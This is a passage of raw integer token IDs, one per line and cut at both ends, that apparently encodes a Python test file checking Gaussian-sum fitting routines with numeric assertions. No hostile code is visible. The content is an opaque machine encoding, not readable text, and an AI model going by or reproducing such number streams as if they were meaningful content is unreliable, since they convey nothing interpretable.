29889,
271,
29918,
29916,
29918,
3044,
29898,
16041,
29889,
8896,
4197,
29906,
29914,
29946,
1696,
29941,
29914,
29946,
29889,
2314,
511,
13,
1678,
518,
29896,
29896,
29889,
29947,
29955,
29906,
29941,
29900,
29941,
29896,
29892,
29871,
29896,
29941,
29889,
29946,
29906,
29945,
29896,
29906,
29900,
29953,
2314,
13,
29871,
4974,
2134,
29916,
29918,
11745,
29898,
29887,
29889,
271,
29918,
29916,
29898,
755,
29889,
3676,
29898,
29941,
29914,
29946,
1846,
511,
29871,
29896,
29941,
29889,
29946,
29906,
29945,
29896,
29906,
29900,
29953,
29897,
13,
29871,
4974,
2134,
29916,
29918,
11745,
29898,
29887,
29889,
271,
29918,
29916,
29898,
16041,
29889,
3676,
29898,
16041,
29889,
8896,
4197,
29906,
29914,
29946,
1696,
29941,
29914,
29946,
5586,
876,
511,
13,
1678,
518,
29896,
29896,
29889,
29947,
29955,
29906,
29941,
29900,
29941,
29896,
29892,
29871,
29896,
29941,
29889,
29946,
29906,
29945,
29896,
29906,
29900,
29953,
2314,
13,
29871,
269,
353,
5839,
280,
29889,
29881,
17204,
29898,
29887,
29897,
13,
29871,
301,
353,
5839,
280,
29889,
18132,
29898,
29879,
29897,
13,
29871,
4974,
301,
29889,
29876,
29918,
357,
1516,
580,
1275,
330,
29889,
29876,
29918,
357,
1516,
580,
13,
29871,
4974,
2134,
29916,
29918,
11745,
29898,
29880,
29889,
2378,
29918,
974,
29918,
29874,
3285,
330,
29889,
2378,
29918,
974,
29918,
29874,
3101,
13,
29871,
4974,
2134,
29916,
29918,
11745,
29898,
29880,
29889,
2378,
29918,
974,
29918,
29890,
3285,
330,
29889,
2378,
29918,
974,
29918,
29890,
3101,
13,
29871,
4974,
2134,
29916,
29918,
11745,
29898,
29880,
29889,
29883,
3285,
330,
29889,
29883,
3101,
13,
29871,
4974,
301,
29889,
1509,
29918,
29883,
580,
13,
29871,
269,
353,
5839,
280,
29889,
29881,
17204,
29898,
29887,
17019,
29889,
2083,
29898,
3285,
22130,
13,
29871,
301,
353,
5839,
280,
29889,
18132,
29898,
29879,
29897,
13,
29871,
4974,
451,
301,
29889,
1509,
29918,
29883,
580,
13,
29871,
15058,
29918,
24970,
29918,
8235,
29898,
29887,
17019,
29889,
2083,
29898,
13,
1678,
518,
29945,
29889,
29945,
29946,
29947,
29900,
1402,
518,
29896,
29900,
29889,
29946,
29906,
29946,
29896,
1402,
29871,
29900,
876,
13,
29871,
15058,
29918,
24970,
29918,
8235,
29898,
29887,
17019,
29889,
2083,
29898,
13,
259,
518,
29906,
29889,
29953,
29945,
29955,
29945,
29900,
29953,
29892,
29896,
29889,
29900,
29955,
29947,
29900,
29955,
29929,
29892,
29896,
29889,
29946,
29929,
29900,
29929,
29900,
29929,
6653,
29946,
29889,
29906,
29946,
29896,
29900,
29955,
29900,
29892,
29900,
29889,
29955,
29896,
29941,
29955,
29929,
29896,
1402,
13,
259,
518,
29896,
29946,
29889,
29955,
29947,
29900,
29955,
29945,
29947,
29892,
29900,
29889,
29955,
29955,
29953,
29955,
29955,
29945,
29892,
29946,
29906,
29889,
29900,
29947,
29953,
29947,
29946,
29906,
6653,
29900,
29889,
29900,
29900,
29900,
29906,
29929,
29946,
29892,
29900,
29889,
29906,
29941,
29929,
29945,
29941,
29945,
1402,
13,
1678,
29946,
29889,
29906,
29929,
29955,
29929,
29947,
29941,
876,
13,
29871,
15058,
29918,
14146,
284,
29918,
8235,
29898,
29887,
17019,
29889,
2083,
4197,
29945,
29889,
29945,
29946,
29947,
29900,
1402,
518,
29896,
29900,
29889,
29946,
29906,
29946,
29896,
12622,
13,
29871,
15058,
29918,
14146,
284,
29918,
8235,
29898,
29887,
17019,
29889,
2083,
4197,
29945,
29889,
29945,
29946,
29947,
29900,
1402,
518,
29896,
29900,
29889,
29946,
29906,
29946,
29896,
1402,
29871,
29941,
876,
13,
29871,
15058,
29918,
14146,
284,
29918,
8235,
29898,
29887,
17019,
29889,
2083,
4197,
29945,
29889,
29945,
29946,
29947,
29900,
1402,
518,
29900,
1402,
29871,
29900,
876,
13,
29871,
15058,
29918,
14146,
284,
29918,
8235,
29898,
29887,
17019,
29889,
2083,
4197,
29945,
29889,
29945,
29946,
29947,
29900,
1402,
21069,
29900,
29889,
29900,
29896,
12622,
13,
29871,
15058,
29918,
14146,
284,
29918,
8235,
29898,
29887,
17019,
29889,
2083,
29898,
13,
1678,
518,
29906,
29889,
29953,
29945,
29955,
29945,
29900,
29953,
29892,
29896,
29889,
29900,
29955,
29947,
29900,
29955,
29929,
29892,
29896,
29889,
29946,
29929,
29900,
29929,
29900,
29929,
6653,
29946,
29889,
29906,
29946,
29896,
29900,
29955,
29900,
29892,
29900,
29889,
29955,
29896,
29941,
29955,
29929,
29896,
1402,
13,
1678,
518,
29896,
29946,
29889,
29955,
29947,
29900,
29955,
29945,
29947,
29892,
29900,
29889,
29955,
29955,
29953,
29955,
29955,
29945,
29892,
29946,
29906,
29889,
29900,
29947,
29953,
29947,
29946,
29906,
6653,
29900,
29889,
29900,
29900,
29900,
29906,
29929,
29946,
29892,
29900,
29889,
29906,
29941,
29929,
29945,
29941,
29945,
1402,
13,
268,
29946,
29889,
29906,
29929,
29955,
29929,
29947,
29941,
876,
13,
29871,
330,
353,
330,
17019,
29889,
2083,
3552,
29896,
6653,
29906,
29892,
29941,
6653,
29946,
29892,
29945,
511,
8521,
29889,
29896,
7671,
29906,
6653,
29889,
29941,
7671,
29946,
6653,
29889,
29945,
511,
29871,
29953,
29897,
13,
29871,
269,
353,
1714,
5971,
580,
13,
29871,
330,
29889,
4294,
29898,
29879,
29897,
13,
29871,
4974,
7431,
29898,
29879,
29889,
657,
1767,
2141,
5451,
3101,
1275,
29871,
29896,
29946,
13,
29871,
330,
353,
330,
17019,
29889,
2083,
3552,
29941,
6653,
29906,
29892,
29896,
6653,
29946,
29892,
29945,
511,
8521,
29889,
29941,
7671,
29906,
6653,
29889,
29896,
7671,
29946,
6653,
29889,
29945,
876,
13,
29871,
269,
353,
1714,
5971,
580,
13,
29871,
330,
29889,
4294,
29898,
29879,
29897,
13,
29871,
4974,
7431,
29898,
29879,
29889,
657,
1767,
2141,
5451,
3101,
1275,
29871,
29896,
29906,
13,
29871,
4974,
338,
8758,
29898,
29887,
29889,
6605,
3285,
330,
17019,
29889,
2083,
29897,
13,
29871,
4974,
2134,
29916,
29918,
11745,
29898,
29887,
29889,
6605,
2141,
2378,
29918,
974,
29918,
29874,
3285,
313,
29945,
6653,
29946,
29892,
29941,
6653,
29906,
29892,
29896,
876,
13,
29871,
4974,
2134,
29916,
29918,
11745,
29898,
29887,
29889,
6605,
2141,
2378,
29918,
974,
29918,
29890,
3285,
8521,
29889,
29945,
7671,
29946,
6653,
29889,
29941,
7671,
29906,
6653,
29889,
29896,
876,
13,
29871,
4974,
451,
330,
29889,
6605,
2141,
1509,
29918,
29883,
580,
13,
29871,
330,
353,
330,
17019,
29889,
2083,
3552,
29896,
29892,
29906,
21336,
29941,
29892,
29946,
511,
29945,
29897,
13,
29871,
4974,
2134,
29916,
29918,
11745,
29898,
29887,
29889,
6605,
2141,
2378,
29918,
974,
29918,
29874,
3285,
313,
29906,
29892,
29896,
876,
13,
29871,
4974,
2134,
29916,
29918,
11745,
29898,
29887,
29889,
6605,
2141,
2378,
29918,
974,
29918,
29890,
3285,
313,
29946,
29892,
29941,
876,
13,
29871,
4974,
2134,
29916,
29918,
11745,
29898,
29887,
29889,
6605,
2141,
29883,
3285,
29871,
29945,
29897,
13,
29871,
4974,
330,
29889,
6605,
2141,
1509,
29918,
29883,
580,
13,
13,
1753,
6216,
29918,
18925,
29918,
12765,
29918,
5105,
10070,
29898,
29887,
9202,
29892,
921,
29892,
321,
567,
29922,
29896,
29889,
29872,
29899,
29906,
1125,
13,
29871,
867,
353,
8525,
29889,
8896,
580,
13,
29871,
274,
353,
330,
9202,
29889,
29883,
580,
13,
29871,
671,
29918,
29883,
353,
330,
9202,
29889,
1509,
29918,
29883,
580,
13,
29871,
363,
474,
297,
921,
3881,
29898,
29887,
9202,
29889,
29876,
29918,
357,
1516,
580,
1125,
13,
1678,
260,
353,
5159,
13,
1678,
363,
409,
567,
297,
313,
8961,
29892,
448,
8961,
1125,
13,
418,
263,
353,
1051,
29898,
29887,
9202,
29889,
2378,
29918,
974,
29918,
29874,
3101,
13,
418,
263,
29961,
29875,
29962,
4619,
409,
567,
13,
418,
260,
29889,
4397,
29898,
13,
4706,
330,
17019,
29889,
2083,
29898,
29874,
29892,
330,
9202,
29889,
2378,
29918,
974,
29918,
29890,
3285,
274,
29892,
671,
29918,
29883,
467,
271,
29918,
29916,
29898,
29916,
876,
13,
1678,
867,
29889,
4397,
3552,
29873,
29961,
29900,
29962,
29899,
29873,
29961,
29896,
2314,
14571,
29906,
29930,
8961,
876,
13,
1678,
260,
353,
5159,
13,
1678,
363,
409,
567,
297,
313,
8961,
29892,
448,
8961,
1125,
13,
418,
289,
353,
1051,
29898,
29887,
9202,
29889,
2378,
29918,
974,
29918,
29890,
3101,
13,
418,
289,
29961,
29875,
29962,
4619,
409,
567,
13,
418,
260,
29889,
4397,
29898,
13,
4706,
330,
17019,
29889,
2083,
29898,
29887,
9202,
29889,
2378,
29918,
974,
29918,
29874,
3285,
289,
29892,
274,
29892,
671,
29918,
29883,
467,
271,
29918,
29916,
29898,
29916,
876,
13,
1678,
867,
29889,
4397,
3552,
29873,
29961,
29900,
29962,
29899,
29873,
29961,
29896,
2314,
14571,
29906,
29930,
8961,
876,
13,
29871,
565,
313,
1509,
29918,
29883,
1125,
13,
1678,
260,
353,
5159,
13,
1678,
363,
409,
567,
297,
313,
8961,
29892,
448,
8961,
1125,
13,
418,
260,
29889,
4397,
29898,
13,
4706,
330,
17019,
29889,
2083,
29898,
13,
3986,
330,
9202,
29889,
2378,
29918,
974,
29918,
29874,
3285,
330,
9202,
29889,
2378,
29918,
974,
29918,
29890,
3285,
274,
29974,
344,
567,
29892,
671,
29918,
29883,
467,
271,
29918,
29916,
29898,
29916,
876,
13,
1678,
867,
29889,
4397,
3552,
29873,
29961,
29900,
29962,
29899,
29873,
29961,
29896,
2314,
14571,
29906,
29930,
8961,
876,
13,
29871,
736,
867,
13,
13,
1753,
6216,
29918,
18925,
29918,
12765,
29918,
5182,
29918,
5105,
10070,
29898,
29887,
9202,
29892,
3081,
29892,
671,
29918,
18816,
8247,
29892,
321,
567,
29922,
29896,
29889,
29872,
29899,
29906,
1125,
13,
29871,
4974,
330,
9202,
29889,
2371,
29918,
29916,
2141,
2311,
580,
1275,
29871,
29896,
13,
29871,
7688,
353,
29871,
29896,
29914,
29887,
9202,
29889,
2371,
29918,
18816,
8247,
580,
29961,
29900,
29962,
1068,
29906,
13,
29871,
867,
353,
8525,
29889,
8896,
580,
13,
29871,
274,
353,
330,
9202,
29889,
29883,
580,
13,
29871,
671,
29918,
29883,
353,
330,
9202,
29889,
1509,
29918,
29883,
580,
13,
29871,
363,
474,
297,
921,
3881,
29898,
29887,
9202,
29889,
29876,
29918,
357,
1516,
580,
1125,
13,
1678,
260,
353,
5159,
13,
1678,
363,
409,
567,
297,
313,
8961,
29892,
448,
8961,
1125,
13,
418,
263,
353,
1051,
29898,
29887,
9202,
29889,
2378,
29918,
974,
29918,
29874,
3101,
13,
418,
263,
29961,
29875,
29962,
4619,
409,
567,
13,
418,
330,
29888,
353,
330,
17019,
29889,
9202,
29898,
13,
4706,
330,
9202,
29889,
2371,
29918,
29916,
3285,
13,
4706,
330,
9202,
29889,
2371,
29918,
29891,
3285,
13,
4706,
330,
9202,
29889,
2371,
29918,
18816,
8247,
3285,
13,
4706,
330,
17019,
29889,
2083,
29898,
29874,
29892,
330,
9202,
29889,
2378,
29918,
974,
29918,
29890,
3285,
274,
29892,
671,
29918,
29883,
876,
13,
418,
260,
29889,
4397,
29898,
29887,
29888,
29889,
5182,
29918,
2220,
29898,
13519,
29892,
671,
29918,
18816,
8247,
29892,
330,
29888,
29889,
29881,
8349,
2063,
22130,
13,
1678,
867,
29889,
4397,
3552,
29873,
29961,
29900,
29962,
29899,
29873,
29961,
29896,
2314,
14571,
29906,
29930,
8961,
876,
13,
1678,
260,
353,
5159,
13,
1678,
363,
409,
567,
297,
313,
8961,
29892,
448,
8961,
1125,
13,
418,
289,
353,
1051,
29898,
29887,
9202,
29889,
2378,
29918,
974,
29918,
29890,
3101,
13,
418,
289,
29961,
29875,
29962,
4619,
409,
567,
13,
418,
330,
29888,
353,
330,
17019,
29889,
9202,
29898,
13,
4706,
330,
9202,
29889,
2371,
29918,
29916,
3285,
13,
4706,
330,
9202,
29889,
2371,
29918,
29891,
3285,
13,
4706,
330,
9202,
29889,
2371,
29918,
18816,
8247,
3285,
13,
4706,
330,
17019,
29889,
2083,
29898,
29887,
9202,
29889,
2378,
29918,
974,
29918,
29874,
3285,
289,
29892,
274,
29892,
671,
29918,
29883,
876,
13,
418,
260,
29889,
4397,
29898,
29887,
29888,
29889,
5182,
29918,
2220,
29898,
13519,
29892,
671,
29918,
18816,
8247,
29892,
330,
29888,
29889,
29881,
8349,
2063,
22130,
13,
1678,
867,
29889,
4397,
3552,
29873,
29961,
29900,
29962,
29899,
29873,
29961,
29896,
2314,
14571,
29906,
29930,
8961,
876,
13,
29871,
565,
313,
1509,
29918,
29883,
1125,
13,
1678,
260,
353,
5159,
13,
1678,
363,
409,
567,
297,
313,
8961,
29892,
448,
8961,
1125,
13,
418,
330,
29888,
353,
330,
17019,
29889,
9202,
29898,
13,
4706,
330,
9202,
29889,
2371,
29918,
29916,
3285,
13,
4706,
330,
9202,
29889,
2371,
29918,
29891,
3285,
13,
4706,
330,
9202,
29889,
2371,
29918,
18816,
8247,
3285,
13,
4706,
330,
17019,
29889,
2083,
29898,
29887,
9202,
29889,
2378,
29918,
974,
29918,
29874,
3285,
330,
9202,
29889,
2378,
29918,
974,
29918,
29890,
3285,
274,
29974,
344,
567,
29892,
671,
29918,
29883,
876,
13,
418,
260,
29889,
4397,
29898,
29887,
29888,
29889,
5182,
29918,
2220,
29898,
13519,
29892,
671,
29918,
18816,
8247,
29892,
330,
29888,
29889,
29881,
8349,
2063,
22130,
13,
1678,
867,
29889,
4397,
3552,
29873,
29961,
29900,
29962,
29899,
29873,
29961,
29896,
2314,
14571,
29906,
29930,
8961,
876,
13,
29871,
736,
867,
13,
13,
1753,
15058,
29918,
9202,
7295,
13,
29871,
921,
353,
8525,
29889,
8896,
3552,
29900,
29889,
29896,
29892,
29871,
29900,
29889,
29906,
29892,
29871,
29900,
29889,
29945,
876,
13,
29871,
343,
353,
8525,
29889,
8896,
3552,
29941,
29892,
29906,
29892,
29896,
876,
13,
29871,
4365,
8247,
353,
8525,
29889,
8896,
3552,
29900,
29889,
29900,
29946,
29892,
29900,
29889,
29900,
29906,
29892,
29900,
29889,
29900,
29896,
876,
13,
29871,
330,
29888,
353,
330,
17019,
29889,
9202,
29898,
13,
1678,
921,
29892,
343,
29892,
4365,
8247,
29892,
13,
1678,
330,
17019,
29889,
2083,
3552,
29896,
29892,
29906,
511,
313,
29946,
29892,
29945,
4961,
13,
29871,
4974,
2134,
29916,
29918,
11745,
29898,
29887,
29888,
29889,
2378,
29918,
974,
29918,
29874,
3285,
313,
29896,
29892,
29906,
876,
13,
29871,
4974,
2134,
29916,
29918,
11745,
29898,
29887,
29888,
29889,
2378,
29918,
974,
29918,
29890,
3285,
313,
29946,
29892,
29945,
876,
13,
29871,
4974,
2134,
29916,
29918,
11745,
29898,
29887,
29888,
29889,
29883,
3285,
29871,
29900,
29897,
13,
29871,
4974,
451,
330,
29888,
29889,
1509,
29918,
29883,
580,
13,
29871,
4974,
2134,
29916,
29918,
11745,
29898,
29887,
29888,
29889,
2371,
29918,
29916,
3285,
921,
29897,
13,
29871,
4974,
2134,
29916,
29918,
11745,
29898,
29887,
29888,
29889,
2371,
29918,
29891,
3285,
343,
29897,
13,
29871,
4974,
2134,
29916,
29918,
11745,
29898,
29887,
29888,
29889,
2371,
29918,
18816,
8247,
3285,
4365,
8247,
29897,
13,
29871,
4974,
2134,
29916,
29918,
11745,
29898,
29887,
29888,
29889,
29888,
4430,
29918,
5975,
3285,
13,
1678,
518,
29906,
29889,
29947,
29953,
29941,
29906,
29946,
29947,
29906,
29947,
29947,
29896,
29945,
29941,
29955,
29945,
29896,
29896,
29892,
29871,
29906,
29889,
29946,
29947,
29929,
29953,
29900,
29945,
29906,
29929,
29945,
29896,
29906,
29906,
29896,
29955,
29946,
29947,
29892,
29871,
29900,
29889,
29929,
29946,
29900,
29947,
29947,
29929,
29900,
29941,
29946,
29947,
29929,
29896,
29947,
29906,
29906,
29945,
29906,
2314,
13,
29871,
3407,
29918,
29887,
17019,
353,
330,
17019,
29889,
2083,
3552,
29896,
29892,
29906,
29892,
29941,
511,
313,
29946,
29892,
29945,
29892,
29953,
876,
13,
29871,
330,
29888,
353,
330,
17019,
29889,
9202,
29898,
13,
1678,
921,
29892,
3407,
29918,
29887,
17019,
29892,
4365,
8247,
29892,
13,
1678,
330,
17019,
29889,
2083,
3552,
29896,
29892,
29906,
511,
313,
29946,
29892,
29945,
4961,
13,
29871,
4974,
2134,
29916,
29918,
11745,
29898,
29887,
29888,
29889,
2378,
29918,
974,
29918,
29874,
3285,
313,
29896,
29892,
29906,
876,
13,
29871,
4974,
2134,
29916,
29918,
11745,
29898,
29887,
29888,
29889,
2378,
29918,
974,
29918,
29890,
3285,
313,
29946,
29892,
29945,
876,
13,
29871,
4974,
2134,
29916,
29918,
11745,
29898,
29887,
29888,
29889,
29883,
3285,
29871,
29900,
29897,
13,
29871,
4974,
2134,
29916,
29918,
11745,
29898,
29887,
29888,
29889,
2371,
29918,
29916,
3285,
921,
29897,
13,
29871,
4974,
2134,
29916,
29918,
11745,
29898,
29887,
29888,
29889,
2371,
29918,
29891,
3285,
3407,
29918,
29887,
17019,
29889,
271,
29918,
29916,
29898,
29916,
876,
13,
29871,
4974,
2134,
29916,
29918,
11745,
29898,
29887,
29888,
29889,
2371,
29918,
18816,
8247,
3285,
4365,
8247,
29897,
13,
29871,
4974,
338,
8758,
29898,
29887,
29888,
29889,
6605,
3285,
330,
17019,
29889,
9202,
29897,
13,
29871,
4974,
330,
29888,
29889,
6605,
2141,
2371,
29918,
29916,
580,
1275,
330,
29888,
29889,
2371,
29918,
29916,
580,
13,
29871,
4974,
330,
29888,
29889,
6605,
2141,
2371,
29918,
29891,
580,
1275,
330,
29888,
29889,
2371,
29918,
29891,
580,
13,
29871,
4974,
330,
29888,
29889,
6605,
2141,
2371,
29918,
18816,
8247,
580,
1275,
330,
29888,
29889,
2371,
29918,
18816,
8247,
580,
13,
29871,
4974,
2134,
29916,
29918,
11745,
29898,
29887,
29888,
29889,
29881,
8349,
2063,
3285,
330,
29888,
29889,
271,
29918,
29916,
29898,
29916,
6817,
5679,
29918,
29887,
17019,
29889,
271,
29918,
29916,
29898,
29916,
876,
13,
29871,
274,
29918,
9202,
353,
330,
17019,
29889,
9202,
29898,
13,
1678,
8525,
29889,
8896,
4197,
29900,
29889,
29900,
29892,
29871,
29900,
29889,
29900,
29953,
29953,
29953,
29953,
29953,
29953,
29953,
29953,
29953,
29953,
29953,
29953,
29953,
29953,
29953,
29953,
29953,
29892,
29871,
29900,
29889,
29896,
29941,
29941,
29941,
29941,
29941,
29941,
29941,
29941,
29941,
29941,
29941,
29941,
29941,
29941,
29941,
29941,
29892,
13,
462,
29871,
29900,
29889,
29906,
29892,
29871,
29900,
29889,
29906,
29953,
29953,
29953,
29953,
29953,
29953,
29953,
29953,
29953,
29953,
29953,
29953,
29953,
29953,
29953,
29953,
11724,
13,
1678,
330,
17019,
29889,
2083,
29898,
13,
418,
313,
29906,
29889,
29953,
29945,
29955,
29945,
29900,
29953,
29892,
29871,
29896,
29889,
29900,
29955,
29947,
29900,
29955,
29929,
29892,
29871,
29896,
29889,
29946,
29929,
29900,
29929,
29900,
29929,
29892,
448,
29946,
29889,
29906,
29946,
29896,
29900,
29953,
29929,
29947,
29892,
29871,
29900,
29889,
29955,
29896,
29941,
29955,
29929,
29896,
29900,
29896,
511,
13,
418,
313,
29896,
29946,
29889,
29955,
29947,
29900,
29955,
29945,
29947,
29892,
29871,
29900,
29889,
29955,
29955,
29953,
29955,
29955,
29945,
29892,
29871,
29946,
29906,
29889,
29900,
29947,
29953,
29947,
29946,
29906,
29892,
448,
29900,
29889,
29900,
29900,
29900,
29906,
29929,
29946,
29892,
29871,
29900,
29889,
29906,
29941,
29929,
29945,
29941,
29945,
511,
13,
539,
29946,
29889,
29906,
29929,
29955,
29929,
29947,
29941,
29906,
511,
13,
1678,
8525,
29889,
8896,
29898,
29945,
29892,
29871,
29900,
29889,
29900,
29900,
29900,
29945,
511,
13,
1678,
330,
17019,
29889,
2083,
29898,
13,
418,
313,
29896,
29889,
29896,
29946,
29906,
29941,
29929,
29896,
29953,
29892,
29871,
29946,
29889,
29896,
29955,
29906,
29947,
29946,
29906,
29945,
29892,
29871,
29900,
29889,
29953,
29896,
29955,
29896,
29953,
29953,
29929,
29946,
511,
13,
418,
313,
29900,
29889,
29945,
29900,
29955,
29941,
29941,
29896,
29906,
29945,
29892,
29871,
29896,
29946,
29889,
29900,
29900,
29906,
29945,
29896,
29906,
29892,
29871,
29946,
29896,
29889,
29929,
29955,
29947,
29929,
29906,
29947,
4961,
13,
29871,
12651,
353,
8525,
29889,
8896,
4197,
29899,
29900,
29889,
29900,
29953,
29946,
29955,
29929,
29955,
29941,
29946,
29896,
29947,
29906,
29941,
29945,
29955,
29955,
29947,
29947,
29896,
29892,
29871,
29900,
29889,
29900,
29900,
29941,
29953,
29900,
29947,
29945,
29900,
29945,
29896,
29947,
29900,
29929,
29929,
29945,
29945,
29941,
29953,
29892,
13,
268,
29900,
29889,
29900,
29929,
29947,
29896,
29945,
29929,
29896,
29955,
29929,
29955,
29945,
29955,
29906,
29929,
29900,
29955,
29896,
29945,
29892,
29871,
29900,
29889,
29900,
29953,
29900,
29955,
29906,
29946,
29906,
29906,
29946,
29945,
29947,
29896,
29953,
29929,
29945,
29900,
29896,
29929,
29892,
448,
29900,
29889,
29896,
29900,
29955,
29953,
29953,
29906,
29947,
29941,
29955,
29929,
29953,
29941,
29955,
29906,
29900,
29896,
29896,
2314,
13,
29871,
4974,
2134,
29916,
29918,
11745,
29898,
29883,
29918,
9202,
29889,
29881,
8349,
2063,
3285,
12651,
29897,
13,
29871,
4974,
2134,
29916,
29918,
11745,
29898,
29883,
29918,
9202,
29889,
4530,
928,
424,
29918,
22925,
29918,
12523,
3285,
13,
1678,
518,
29900,
29889,
29900,
29896,
29900,
29955,
29906,
29896,
29906,
29892,
29871,
29900,
29889,
29900,
29900,
29900,
29945,
29945,
29947,
29896,
29892,
29871,
29900,
29889,
29900,
29906,
29896,
29941,
29906,
29941,
29953,
29892,
29871,
29900,
29889,
29900,
29896,
29953,
29929,
29941,
29900,
29946,
29892,
29871,
29900,
29889,
29900,
29941,
29947,
29945,
29896,
29946,
29906,
2314,
13,
29871,
330,
29888,
353,
330,
17019,
29889,
9202,
29898,
13,
1678,
921,
29892,
3407,
29918,
29887,
17019,
29892,
8525,
29889,
8896,
29898,
29916,
29889,
2311,
3285,
29871,
29896,
511,
13,
1678,
330,
17019,
29889,
2083,
3552,
29896,
29892,
29906,
511,
313,
29946,
29892,
29945,
4961,
13,
29871,
4974,
1051,
29898,
29887,
29888,
29889,
9917,
29918,
15764,
29898,
8824,
29892,
7700,
876,
1275,
518,
8824,
29892,
8824,
29892,
8824,
29892,
8824,
29962,
13,
29871,
4974,
1051,
29898,
29887,
29888,
29889,
9917,
29918,
15764,
29898,
5574,
29892,
7700,
876,
1275,
518,
5574,
29892,
8824,
29892,
5574,
29892,
8824,
29962,
13,
29871,
4974,
1051,
29898,
29887,
29888,
29889,
9917,
29918,
15764,
29898,
8824,
29892,
5852,
876,
1275,
518,
8824,
29892,
5574,
29892,
8824,
29892,
5574,
29962,
13,
29871,
269,
29887,
29888,
353,
330,
29888,
29889,
7302,
29918,
845,
17741,
29898,
16041,
29889,
8896,
3552,
29941,
6653,
29941,
29892,
29946,
29892,
29953,
8243,
5852,
29897,
13,
29871,
4974,
2134,
29916,
29918,
11745,
29898,
5311,
29888,
29889,
2378,
29918,
974,
29918,
29874,
3285,
313,
29896,
29974,
29941,
29892,
29906,
29974,
29946,
876,
13,
29871,
4974,
2134,
29916,
29918,
11745,
29898,
5311,
29888,
29889,
2378,
29918,
974,
29918,
29890,
3285,
13,
1678,
5135,
755,
29889,
3676,
29898,
29946,
6817,
29941,
29897,
1068,
29906,
22657,
755,
29889,
3676,
29898,
29945,
7240,
29953,
29897,
1068,
29906,
876,
13,
29871,
4974,
2134,
29916,
29918,
11745,
29898,
5311,
29888,
29889,
29883,
3285,
29871,
29900,
29897,
13,
29871,
4974,
451,
269,
29887,
29888,
29889,
1509,
29918,
29883,
580,
13,
29871,
269,
29887,
29888,
353,
330,
29888,
29889,
7302,
29918,
845,
17741,
29898,
16041,
29889,
8896,
3552,
29941,
6653,
29941,
29892,
29946,
29892,
29953,
8243,
7700,
29897,
13,
29871,
4974,
2134,
29916,
29918,
11745,
29898,
5311,
29888,
29889,
2378,
29918,
974,
29918,
29874,
3285,
313,
29896,
29974,
29941,
29892,
29906,
29974,
29946,
876,
13,
29871,
4974,
2134,
29916,
29918,
11745,
29898,
5311,
29888,
29889,
2378,
29918,
974,
29918,
29890,
3285,
313,
29946,
29899,
29941,
29892,
29945,
29974,
29953,
876,
13,
29871,
4974,
2134,
29916,
29918,
11745,
29898,
5311,
29888,
29889,
29883,
3285,
29871,
29900,
29897,
13,
29871,
4974,
451,
269,
29887,
29888,
29889,
1509,
29918,
29883,
580,
13,
29871,
12651,
353,
269,
29887,
29888,
29889,
29881,
8349,
2063,
580,
13,
29871,
363,
671,
29918,
18816,
8247,
297,
518,
8824,
29892,
5852,
5387,
13,
1678,
4974,
2134,
29916,
29918,
11745,
29898,
5311,
29888,
29889,
5182,
29918,
2220,
29898,
29906,
29892,
671,
29918,
18816,
8247,
29892,
12651,
511,
13,
539,
29906,
29945,
29889,
29900,
29941,
29906,
29900,
29953,
29941,
29946,
29897,
13,
1678,
4974,
2134,
29916,
29918,
11745,
29898,
5311,
29888,
29889,
5182,
29918,
2220,
29898,
29946,
29892,
671,
29918,
18816,
8247,
29892,
12651,
511,
13,
539,
29906,
29945,
29953,
29889,
29906,
29953,
29947,
29906,
29945,
29955,
29945,
29897,
13,
1678,
4974,
2134,
29916,
29918,
11745,
29898,
13,
418,
269,
29887,
29888,
29889,
5105,
10070,
29918,
29881,
29918,
10736,
29898,
29906,
29892,
671,
29918,
18816,
8247,
29892,
12651,
511,
13,
418,
518,
29896,
29945,
29889,
29953,
29945,
29941,
29929,
29906,
29955,
29896,
29892,
448,
29946,
29889,
29896,
29900,
29929,
29900,
29896,
29896,
29946,
29892,
29871,
29896,
29900,
29889,
29946,
29945,
29953,
29906,
29941,
29900,
29953,
29892,
448,
29896,
29889,
29953,
29941,
29955,
29953,
29955,
29947,
29896,
2314,
13,
29871,
330,
13801,
353,
330,
17019,
29889,
9202,
29898,
13,
1678,
921,
29892,
3407,
29918,
29887,
17019,
29892,
8525,
29889,
8896,
29898,
29916,
29889,
2311,
3285,
29871,
29896,
511,
13,
1678,
330,
17019,
29889,
2083,
3552,
29896,
29892,
29906,
511,
313,
29946,
29892,
29945,
511,
29871,
29953,
876,
13,
29871,
4974,
1051,
29898,
29887,
13801,
29889,
9917,
29918,
15764,
29898,
8824,
29892,
7700,
876,
1275,
518,
8824,
29892,
8824,
29892,
8824,
29892,
8824,
29892,
8824,
29962,
13,
29871,
4974,
1051,
29898,
29887,
13801,
29889,
9917,
29918,
15764,
29898,
5574,
29892,
7700,
876,
1275,
518,
5574,
29892,
8824,
29892,
5574,
29892,
8824,
29892,
5574,
29962,
13,
29871,
4974,
1051,
29898,
29887,
13801,
29889,
9917,
29918,
15764,
29898,
8824,
29892,
5852,
876,
1275,
518,
8824,
29892,
5574,
29892,
8824,
29892,
5574,
29892,
8824,
29962,
13,
29871,
269,
29887,
13801,
353,
330,
13801,
29889,
7302,
29918,
845,
17741,
29898,
16041,
29889,
8896,
3552,
29941,
6653,
29941,
29892,
29946,
29892,
29953,
6653,
29945,
8243,
5852,
29897,
13,
29871,
4974,
2134,
29916,
29918,
11745,
29898,
5311,
13801,
29889,
2378,
29918,
974,
29918,
29874,
3285,
313,
29896,
29974,
29941,
29892,
29906,
29974,
29946,
876,
13,
29871,
4974,
2134,
29916,
29918,
11745,
29898,
5311,
13801,
29889,
2378,
29918,
974,
29918,
29890,
3285,
13,
1678,
5135,
755,
29889,
3676,
29898,
29946,
6817,
29941,
29897,
1068,
29906,
22657,
755,
29889,
3676,
29898,
29945,
7240,
29953,
29897,
1068,
29906,
876,
13,
29871,
4974,
2134,
29916,
29918,
11745,
29898,
5311,
13801,
29889,
29883,
3285,
29871,
29953,
29899,
29945,
29897,
13,
29871,
4974,
269,
29887,
13801,
29889,
1509,
29918,
29883,
580,
13,
29871,
269,
29887,
13801,
353,
330,
13801,
29889,
7302,
29918,
845,
17741,
29898,
16041,
29889,
8896,
3552,
29941,
6653,
29941,
29892,
29946,
29892,
29953,
6653,
29945,
8243,
7700,
29897,
13,
29871,
4974,
2134,
29916,
29918,
11745,
29898,
5311,
13801,
29889,
2378,
29918,
974,
29918,
29874,
3285,
313,
29896,
29974,
29941,
29892,
29906,
29974,
29946,
876,
13,
29871,
4974,
2134,
29916,
29918,
11745,
29898,
5311,
13801,
29889,
2378,
29918,
974,
29918,
29890,
3285,
313,
29946,
29899,
29941,
29892,
29945,
29974,
